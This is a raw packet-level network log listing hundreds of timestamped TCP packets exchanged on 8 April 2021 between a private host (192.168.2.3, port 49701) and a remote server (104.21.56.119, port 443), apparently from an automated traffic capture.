Apr 8, 2021 11:01:48.936517954 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.936532974 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.936534882 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.936548948 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.936568975 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.936572075 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.936574936 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.936592102 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.936609030 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.936625004 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.936625004 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.936626911 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.936639071 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.936659098 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.936661959 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.936680079 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.936707973 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.936709881 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.936712980 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.936724901 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.936741114 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.936755896 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.936757088 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.936759949 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.936779022 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.936796904 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.936800957 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.936851978 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.936872005 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.936876059 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.936878920 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.936889887 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.936906099 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.936920881 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.936986923 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.937005043 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.937021017 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.937021017 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.937026978 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.937078953 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.937150955 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.937151909 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.937155962 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.937158108 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.937175989 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.937236071 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.937238932 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.937273979 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.937297106 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.937314987 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.937318087 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.937338114 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.937355042 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.937356949 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.937412024 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.937429905 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.937434912 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.937463045 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.937519073 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.937536001 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.937540054 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.937557936 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.937733889 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.937743902 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.939635992 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.939659119 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.939718962 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.939759016 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.939780951 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.939798117 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.939841986 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.939860106 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.939867973 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.939950943 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.939973116 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.940001965 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.940076113 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.940072060 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.940099955 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.940156937 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.940176964 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.940258026 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.940279007 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.940306902 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.940351963 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.940371990 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.940517902 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.940536022 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.940542936 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.940610886 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.940701962 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.940720081 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.940799952 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.940804958 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.940819979 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.940860033 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.942713022 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.942723989 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.944629908 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.944654942 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.944674015 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.944726944 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.944744110 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.944845915 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.944870949 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.944870949 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.944880009 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.944895983 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.944916964 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.944936037 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.944936991 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.944940090 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.944952011 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.944967985 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.944972992 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.945202112 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945223093 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.945226908 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.945226908 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945246935 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945307970 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945324898 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.945324898 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945327997 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.945341110 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945436001 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945470095 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945489883 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945511103 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945528030 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.945528984 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945533037 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.945535898 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.945549965 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945573092 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945596933 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945614100 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.945619106 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.945621967 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945646048 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945662975 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945677996 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945677996 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.945683002 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.945704937 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945724010 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945739031 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945739985 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.945755005 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945775032 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945791006 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.945796967 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945815086 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945816994 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.945830107 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.945900917 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945918083 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.945924044 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945947886 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945965052 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.945971966 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.945990086 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946006060 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946014881 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946017981 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946027040 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946063042 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946080923 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946083069 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946105003 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946126938 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946145058 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946149111 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946151018 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946161032 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946176052 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946197033 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946227074 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946243048 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946244955 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946249962 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946253061 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946261883 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946284056 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946299076 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946300030 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946302891 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946315050 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946332932 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946336031 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946350098 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946365118 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946418047 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946423054 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946425915 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946479082 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946496010 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946629047 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946646929 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946652889 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946659088 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946676970 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946691036 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946708918 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946747065 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946768999 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946787119 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946789980 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946789980 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946806908 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946827888 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946829081 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946830988 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946856976 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946886063 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946903944 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946906090 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946907043 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946923971 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946943045 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946947098 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946955919 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946963072 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946979046 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.946985960 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.946993113 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.947012901 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.947031975 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.947035074 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.947040081 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.947060108 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.947079897 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.947081089 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.947109938 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.947129965 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.947149992 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.947170019 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.947189093 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.947192907 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.947197914 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.947215080 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:48.947230101 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:48.948247910 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:49.189408064 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:49.189745903 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:49.656961918 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:49.657757044 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.031457901 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.049035072 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049102068 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049133062 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049165010 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049196959 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049221992 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.049225092 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049252987 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049253941 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.049278975 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.049282074 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049312115 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049320936 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.049354076 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049395084 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049398899 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.049427986 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049454927 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049468994 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.049534082 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049565077 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049576998 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.049595118 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049623966 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049634933 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.049653053 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049685955 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049695969 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.049760103 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049787998 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049801111 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.049818039 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049856901 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.049884081 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.049978971 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050002098 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050019026 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.050023079 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050045013 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050054073 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.050082922 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050107956 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050120115 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.050132036 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050154924 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050167084 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.050178051 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050203085 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050213099 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.050224066 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050246000 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050255060 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.050266981 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050291061 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050307035 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.050309896 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050332069 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050348043 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.050371885 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050405979 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.050438881 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050462961 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050486088 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050494909 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.050564051 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050599098 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.050668001 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050690889 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050710917 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050730944 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050733089 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.050754070 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.050770044 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.051475048 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051502943 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051520109 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.051523924 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051548958 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051556110 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.051572084 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051594019 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051615953 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051624060 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.051637888 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051647902 CEST	49701	443	192.168.2.3	104.21.56.119
